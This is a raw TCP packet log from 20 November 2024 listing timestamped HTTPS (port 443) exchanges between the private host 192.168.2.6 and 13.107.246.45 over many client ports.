Nov 20, 2024 00:19:50.698149920 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.698160887 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.699280024 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.699325085 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.699383020 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.699523926 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.699539900 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738447905 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738482952 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738548994 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.738568068 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738586903 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738641977 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.738711119 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.738734007 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.738755941 CET	50072	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.738761902 CET	443	50072	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.741780043 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.741808891 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.741911888 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.742197990 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.742211103 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.764391899 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.775590897 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.775618076 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.779535055 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.779540062 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.883863926 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.883961916 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.884093046 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:50.884156942 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.899919033 CET	50074	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:50.899930000 CET	443	50074	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.044271946 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.044316053 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.044389963 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.045316935 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.045334101 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.362899065 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.363377094 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.363395929 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.363821983 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.363826990 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.364394903 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.365052938 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.365063906 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.365107059 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.365111113 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.379940033 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.380321026 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.380342007 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.380714893 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.380719900 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613781929 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613790035 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613863945 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613866091 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613867044 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613889933 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613924026 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.613944054 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.613960981 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.613991976 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614114046 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614114046 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614156961 CET	50076	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614167929 CET	443	50076	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.614584923 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614599943 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.614626884 CET	50077	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614630938 CET	443	50077	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.614820957 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614844084 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.614857912 CET	50075	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.614866018 CET	443	50075	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.616106033 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.617579937 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.617588997 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.618139982 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.618145943 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.619261026 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.619298935 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.619398117 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.619683027 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.619694948 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.619911909 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.619955063 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.620007992 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.620138884 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.620157957 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.621807098 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.621825933 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.621912956 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.622102022 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.622112036 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.724020958 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.724106073 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.724175930 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.724384069 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.724404097 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.724663019 CET	50078	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.724669933 CET	443	50078	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.727186918 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.727231979 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.727304935 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.727480888 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.727493048 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.824421883 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.824975967 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.825000048 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.825455904 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.825460911 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.936444998 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.936604023 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.936651945 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.936908007 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.936930895 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.936949015 CET	50079	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.936954021 CET	443	50079	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.939723015 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.939815044 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:51.939913034 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.940068960 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:51.940104961 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.417745113 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.417905092 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.418276072 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.418297052 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.418401003 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.418407917 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.418731928 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.418735981 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.418869019 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.418873072 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.422485113 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.422766924 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.422789097 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.423134089 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.423140049 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.423702955 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.423927069 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.423933029 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.424271107 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.424273968 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.523802996 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.523827076 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.523927927 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.523947001 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.524214029 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.524221897 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.524236917 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.524391890 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.524492025 CET	443	50080	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.526226044 CET	50080	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.526961088 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.526992083 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.527059078 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.527209044 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.527221918 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.533739090 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.533761024 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.533843994 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.533849955 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.533998013 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.534001112 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.534009933 CET	50083	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.534009933 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.534064054 CET	443	50083	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.535753965 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.535787106 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.535814047 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.535876989 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.535885096 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.535919905 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.535942078 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.536299944 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.536385059 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.536465883 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.536595106 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.536617041 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562428951 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562472105 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562647104 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.562655926 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562707901 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562721014 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.562745094 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.562755108 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562766075 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.562769890 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.562783957 CET	50082	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.562787056 CET	443	50082	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.565066099 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.565077066 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.565259933 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.565259933 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.565279007 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.611450911 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.612009048 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.612039089 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.612457037 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.612469912 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.626354933 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.626437902 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.626444101 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.626493931 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.626559973 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.626565933 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.626581907 CET	50081	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.626585960 CET	443	50081	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.629179001 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.629215956 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.629292965 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.629481077 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.629494905 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.720689058 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.720724106 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.720777988 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.720844984 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.720870018 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.720906973 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.720932007 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808671951 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.808727980 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.808789015 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808798075 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.808816910 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808868885 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808954000 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808954000 CET	50084	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.808981895 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.809004068 CET	443	50084	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.811928988 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.811965942 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:52.812041998 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.812237978 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:52.812253952 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.200778008 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.201229095 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.201253891 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.201675892 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.201680899 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.204894066 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.206521988 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.206549883 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.207211971 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.207225084 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.273916006 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.274286985 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.274307013 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.274720907 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.274725914 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.312205076 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.312230110 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.312305927 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.312335968 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.312443972 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.312515020 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.313225985 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.313225985 CET	50086	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.313251972 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313273907 CET	443	50086	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313288927 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313313961 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313380003 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.313395023 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313636065 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.313689947 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.314647913 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.314655066 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.314785957 CET	50085	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.314790010 CET	443	50085	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.317589045 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.317612886 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.318216085 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.318592072 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.318608999 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.318943977 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.318973064 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.319072008 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.319194078 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.319202900 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.355489016 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.356168985 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.356177092 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.356637001 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.356640100 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.386910915 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.386997938 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.387044907 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.403301954 CET	50087	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.403316975 CET	443	50087	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.410933971 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.410981894 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.411046982 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.411784887 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.411797047 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.467951059 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.468014956 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.468061924 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.468988895 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.469006062 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.469017029 CET	50088	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.469022989 CET	443	50088	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.473027945 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.473052979 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.473108053 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.473532915 CET	50093	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.473545074 CET	443	50093	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.520844936 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.521286011 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.521320105 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.521728992 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.521734953 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.631953001 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.632045031 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.632098913 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.632301092 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.632323027 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.632335901 CET	50089	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.632343054 CET	443	50089	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.635234118 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.635277033 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.635371923 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.635550976 CET	50094	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.635565996 CET	443	50094	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.994685888 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.995299101 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.995346069 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.995670080 CET	50091	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:53.995680094 CET	443	50091	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:53.999811888 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.000083923 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.000118017 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.000417948 CET	50090	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.000437021 CET	443	50090	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.086554050 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.091156006 CET	50092	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:54.091167927 CET	443	50092	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:54.091577053 CET	50092	443	192.168.2.6	13.107.246.45
